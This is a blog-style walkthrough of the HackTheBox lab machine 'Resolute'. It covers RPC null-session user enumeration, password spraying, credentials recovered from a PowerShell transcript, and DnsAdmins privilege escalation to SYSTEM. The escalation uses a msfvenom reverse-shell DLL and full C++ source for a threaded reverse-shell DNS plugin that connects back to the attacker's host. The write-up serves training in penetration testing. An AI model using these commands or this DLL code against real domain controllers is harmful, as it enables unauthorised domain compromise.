[HackTheBox] Resolute

[HackTheBox] Resolute

·

10 min read

Just another Null RPC / Password Spray / PowerShell Transcript Leak / DnsAdmins Privesc / CreateThread Stealthiness Write-up.

Machine link.

Ippsec Walkthrough.

Footprinting

Open ports

The open ports shows our target is a Windows machine:

jamarir@kali:~$ nmap -p- -v10 -Pn --disable-arp-ping 10.10.10.169 -oN tcp_full.nmap 
jamarir@kali:~$ nmap -sC -sV -v10 -p$(sed -n 's/^\(.*\)\/\w\+\s\+open.*$/\1/p' tcp_full.nmap |tr '\n' ',' |rev |cut -c2- |rev) 10.10.10.169 -oN nse.nmap
[...]
PORT      STATE SERVICE      REASON  VERSION
53/tcp    open  domain       syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec syn-ack Microsoft Windows Kerberos (server time: <DATE>)
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds syn-ack Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?    syn-ack
593/tcp   open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped   syn-ack
3268/tcp  open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped   syn-ack
5985/tcp  open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       syn-ack .NET Message Framing
47001/tcp open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        syn-ack Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack Microsoft Windows RPC
49666/tcp open  msrpc        syn-ack Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack Microsoft Windows RPC
49671/tcp open  msrpc        syn-ack Microsoft Windows RPC
49678/tcp open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
49679/tcp open  msrpc        syn-ack Microsoft Windows RPC
49684/tcp open  msrpc        syn-ack Microsoft Windows RPC
49716/tcp open  msrpc        syn-ack Microsoft Windows RPC
50321/tcp open  unknown      syn-ack
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: <DATE>
|_  start_date: <DATE>
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 18050/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 52471/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 55070/udp): CLEAN (Timeout)
|   Check 4 (port 21057/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: <DATE>
|_clock-skew: mean: 2h26m57s, deviation: 4h02m30s, median: 6m56s

In particular:

  • It runs a DNS service on port 53, so let’s add it to our local resolvers:
jamarir@kali:~$ sudo sed -i '1i nameserver 10.10.10.169' /etc/resolv.conf
  • It’s a Domain Controller running Kerberos on port 88, LDAP/S on port 389/636 and WinRM on port 5985.

  • Its FQDN is RESOLUTE.megabank.local:

jamarir@kali:~$ cme smb 10.10.10.169
SMB         10.10.10.169    445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)

RPC null session

The null/anonymous session is allowed on SMB, but we can’t access any share:

jamarir@kali:~$ cme smb 10.10.10.169 -u '' -p '' --shares
SMB         10.10.10.169    445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.10.10.169    445    RESOLUTE         [+] megabank.local\:
SMB         10.10.10.169    445    RESOLUTE         [-] Error enumerating shares: STATUS_ACCESS_DENIED

Instead, we could anonymously enumerate users on the machine (brute-forcing RIDs) through RPC:

jamarir@kali:~$ rpcclient 10.10.10.169 -U "%" -c "enumdomusers;quit" |tee rpc_domusers.txt
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]

jamarir@kali:~$ grep -oP 'user:\[\K.*?(?=\])' rpc_domusers.txt > users.txt

And disclose the users’ descriptions with enum4linux, disclosing marko's password:

jamarir@kali:~$ enum4linux -a 10.10.10.169
[...]
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak       Desc: Account created. Password set to Welcome123!
[...]

Password spray

Even if the credentials marko:Welcome123! aren’t valid:

jamarir@kali:~$ cme smb 10.10.10.169 -u marko -p 'Welcome123!' --shares
SMB         10.10.10.169    445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE

We can perform a password spray attack against all the domain users and impersonate melanie:Welcome123! :)

jamarir@kali:~$ cme smb 10.10.10.169 -u users.txt -p 'Welcome123!' --shares
SMB         10.10.10.169    445    RESOLUTE         [+] megabank.local\melanie:Welcome123!
SMB         10.10.10.169    445    RESOLUTE         [+] Enumerated shares
SMB         10.10.10.169    445    RESOLUTE         Share           Permissions     Remark
SMB         10.10.10.169    445    RESOLUTE         -----           -----------     ------
SMB         10.10.10.169    445    RESOLUTE         ADMIN$                          Remote Admin
SMB         10.10.10.169    445    RESOLUTE         C$                              Default share
SMB         10.10.10.169    445    RESOLUTE         IPC$                            Remote IPC
SMB         10.10.10.169    445    RESOLUTE         NETLOGON        READ            Logon server share
SMB         10.10.10.169    445    RESOLUTE         SYSVOL          READ            Logon server share

Privilege Escalation

melanie WinRM

The members of the Remote Management Users group are allowed to get a remote shell on the DC with the WinRM service. melanie is a member of that group:

jamarir@kali:~$ cme ldap 10.10.10.169 -u 'melanie' -p 'Welcome123!' -d 'megabank.local' --query "(&(memberOf=CN=Remote Management Users,CN=Builtin,DC=MEGABANK,DC=LOCAL))" "sAMAccountName"
SMB         10.10.10.169    445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
LDAP        10.10.10.169    389    RESOLUTE         [+] megabank.local\melanie:Welcome123!
LDAP        10.10.10.169    389    RESOLUTE         [+] Response for object: CN=Contractors,OU=Groups,DC=megabank,DC=local
LDAP        10.10.10.169    389    RESOLUTE         sAMAccountName:      Contractors
LDAP        10.10.10.169    389    RESOLUTE         [+] Response for object: CN=Melanie Purkis,CN=Users,DC=megabank,DC=local
LDAP        10.10.10.169    389    RESOLUTE         sAMAccountName:      melanie

Therefore, we can WinRM the target and get the user flag !

jamarir@kali:~$ evil-winrm -i 10.10.10.169 -u 'melanie' -p 'Welcome123!'
C:\Users\melanie\Documents> gc ../desktop/user.txt
a1[...]09

PowerShell Transcripts are hidden !

Let’s fire up bloodhound.py to see attack vectors to DAs:

jamarir@kali:~$ bloodhound.py -u 'melanie' -p 'Welcome123!' -d 'megabank.local' -dc resolute.megabank.local -ns 10.10.10.169 -c all --zip

melanie has no particular rights on the domain:

But looking at hidden files in the C:/ folder reveals a PSTranscripts folder:

*Evil-WinRM* PS C:\Users\melanie\Documents> (get-content c:/ -force).Name
$RECYCLE.BIN
Documents and Settings
PerfLogs
Program Files
Program Files (x86)
ProgramData
PSTranscripts
Recovery
System Volume Information
Users
Windows
bootmgr
BOOTNXT
pagefile.sys

PSTranscripts folder contains PowerShell sessions' histories. This file, named PowerShell_transcript.<computername>.<random>.<timestamp>.txt, contains all the inputs and outputs of a user’s console log:

*Evil-WinRM* PS C:\PSTranscripts> gc c:/PSTranscripts/20191203/PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
[...]
>> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (The syntax of this command is::String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
[...]

The user ryan tried to mount the \\fs01\backups share locally in the X: drive.

However, ryan forgot to put the /user option:

PS > cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

The commands to mount anad unmount an X: drive are:

PS C:\Users\jamarir> net use x: \\<COMPUTER>\<SHARE> /user:<USER> '<PASSWORD>'
PS C:\Users\jamarir> net use /delete x:

Then, we may compromise his account in WinRM as well. Indeed, he’s a member of the CONTRACTORS group, itself member of the Remote Management Users group:

jamarir@kali:~$ evil-winrm -i 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'

By the way, his desktop contains a note, but I don’t really what it’s for oO:

*Evil-WinRM* PS C:\Users\ryan> get-content desktop/note.txt
Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute

DnsAdmins2SYSTEMdll ?

As shown in BloodHound, or by whoami /groups, ryan is member of the DnsAdmins group:

*Evil-WinRM* PS C:\Users\ryan> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ===============================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors                       Group            S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192

Members of this groups can execute a Microsoft DNS service on a server running DNS. However, this DNS service is run as SYSTEM on the DNS server. Therefore, DnsAdmins can poison the existing DNS service to load a malicious DLL. The fact that DC runs DNS allows us to escalate to SYSTEM privileges on the DC:

jamarir@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f dll > shell.dll
jamarir@kali:~$ nc -nlvp 4444

Then, we can host the malicious DLL on a remote SMB share in our kali machine:

jamarir@kali:~$ smbserver.py -smb2support share ./

Finally, we can configure the DC to load our DLL once its DNS service starts:

*Evil-WinRM* PS C:\Users\ryan> dnscmd.exe resolute.megabank.local /config /serverlevelplugindll //10.10.14.7/share/shell.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

*Evil-WinRM* PS C:\Users\ryan> sc.exe stop dns
*Evil-WinRM* PS C:\Users\ryan> sc.exe start dns

The dnscmd.exe tool allows to setup DNS servers. The /config /serverlevelplugindll options specify the path, registered in the registry, of a custom DLL plug-in to be loaded by the DNS server:

*Evil-WinRM* PS C:\Users\ryan\Documents> Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name "ServerLevelPluginDll"
ServerLevelPluginDll : //10.10.14.7/share/shell.dll
PSPath               : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters\
PSParentPath         : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS
PSChildName          : Parameters
PSDrive              : HKLM
PSProvider           : Microsoft.PowerShell.Core\Registry

Restarting the service will load our malicious binary automatically.

The mitigation requires to ensure that only admins are member of this DnsAdmins group. Also, RPC communications must be restricted to admin subnets only.

GG WP :]

listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.169] 51582
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
1a[...]5c

Stealthier CreateThread Alternative

For more details about the privesc feature (not a bug!), you may check the following articles: Shary Ber (discoverer), ired.team, Microsoft DNS documentation.

The above DLL injection is not OPSEC as it breaks the normal DNS’s resolution:

jamarir@kali:~$ nslookup RESOLUTE.megabank.local 10.10.10.169
;; communications error to 10.10.10.169#53: timed out
;; communications error to 10.10.10.169#53: timed out
;; communications error to 10.10.10.169#53: timed out
;; no servers could be reached

A stealthier approach is to use the dns-exe-persistance Visual Studio project, and run the reverse shell in a background thread.

As mentionned in the above articles, the function running the malicious DLL is DnsPluginInitialize, defined in the Win32Project1.cpp script. So let’s call a C++ reverse shell within:

#include "stdafx.h"
#define DNS_PLUGIN_API  __declspec ( dllexport )

#include <stdio.h>
#include <string.h>
#include <process.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
DWORD WINAPI revshell(LPVOID lpParam) {
    FreeConsole();
    WSADATA wsaData;
    int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    struct addrinfo* result = NULL, * ptr = NULL, hints;
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;
    getaddrinfo("10.10.14.7", "4444", &hints, &result); // CHANGE THIS !
    ptr = result;
    SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL);
    connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = (HANDLE)ConnectSocket;
    si.hStdOutput = (HANDLE)ConnectSocket;
    si.hStdError = (HANDLE)ConnectSocket;
    TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE");
    CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    WSACleanup();
    return 0;
}

#pragma comment(linker,"/EXPORT:DnsPluginInitialize=?DnsPluginInitialize@@YAHPEAX0@Z")
DNS_PLUGIN_API int DnsPluginInitialize(PVOID a1, PVOID a2) {
    CreateThread(NULL, 0, revshell, 0, 0, NULL);
    return 0;
}

#pragma comment(linker,"/EXPORT:DnsPluginCleanup=?DnsPluginCleanup@@YAHXZ")
DNS_PLUGIN_API int DnsPluginCleanup() { return 0; }

#pragma comment(linker,"/EXPORT:DnsPluginQuery=?DnsPluginQuery@@YAHPEAX000@Z")
DNS_PLUGIN_API int DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }

And build the project in Visual Studio.

Make sure to install the MFC components in Visual Studio, as well as the C++ Build Tools.

Even if the project is named Win32, the default Visual Studio building properties shouldn’t be changed, and let to x64.

The above reverse shell is taken from this tudorthe1ntruder’s script.

The thread is created based on the CreateThread Win32 API documentation (thx IppSec).

Now, when that DLL is run by the DC, we get a reverse shell without breaking the DNS service while our reverse shell runs:

*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd.exe resolute.megabank.local /config /serverlevelplugindll //10.10.14.7/share/Win32Project1.dll
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns
jamarir@kali:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.169] 50744
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
jamarir@kali:~$ nslookup RESOLUTE.megabank.local 10.10.10.169
Server:         10.10.10.169
Address:        10.10.10.169#53

Name:   RESOLUTE.megabank.local
Address: 10.10.10.169

Did you find this article valuable?

Support jamarir's blog by becoming a sponsor. Any amount is appreciated!